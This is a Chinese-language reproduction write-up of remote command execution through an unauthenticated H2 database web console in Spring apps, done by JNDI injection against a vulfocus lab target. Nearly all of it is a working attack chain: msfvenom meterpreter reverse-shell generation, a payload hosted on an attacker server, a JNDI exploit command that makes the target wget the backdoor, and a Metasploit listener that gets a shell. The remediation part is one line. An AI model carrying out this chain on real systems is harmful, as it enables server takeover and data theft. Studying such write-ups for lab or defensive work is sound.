1、产品简介
H2是Thomas Mueller提供的一个开源的、纯java实现的关系数据库。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。
2、漏洞概述
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
3、复现环境
vulfocus在线靶场
4、利用流程
准备JDNI注入工具包:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
MSF后渗透工具(自行安装该工具)
启动靶场,访问http://x.x.x.x:8080/h2-console/ 查看环境是否就绪
复现的文章千篇一律,就是没有利用的环节,这里直接展示利用(各位观众姥爷有其他利用手法欢迎交流)
首先使用msf生成一个Linux木马文件(LHOST和LPOST填写你VPS的IP和空闲端口)
msf5
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=6666 -f elf > shell.elf
msf6
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=6666 -f elf > shell.elf
利用python3搭建http服务器
python3 -m http.server 80
使用JDNI工具生成RMI利用链,执行的命令是下载后门文件
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "wget http://x.x.x.x/shell.elf" -A VPSip
javax.naming.InitialContext
点击连接,可以看到成功下载到了木马文件
给木马文件加执行权限(还是和上面同样的方式)
可以看到靶场地址有加载rml url就说明执行了
启动msf,开启监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 6666
run
执行木马文件
成功getshell,获取flag(靶场的flag一般在tmp目录或者env环境变量下)
5、修复建议
升级至安全版本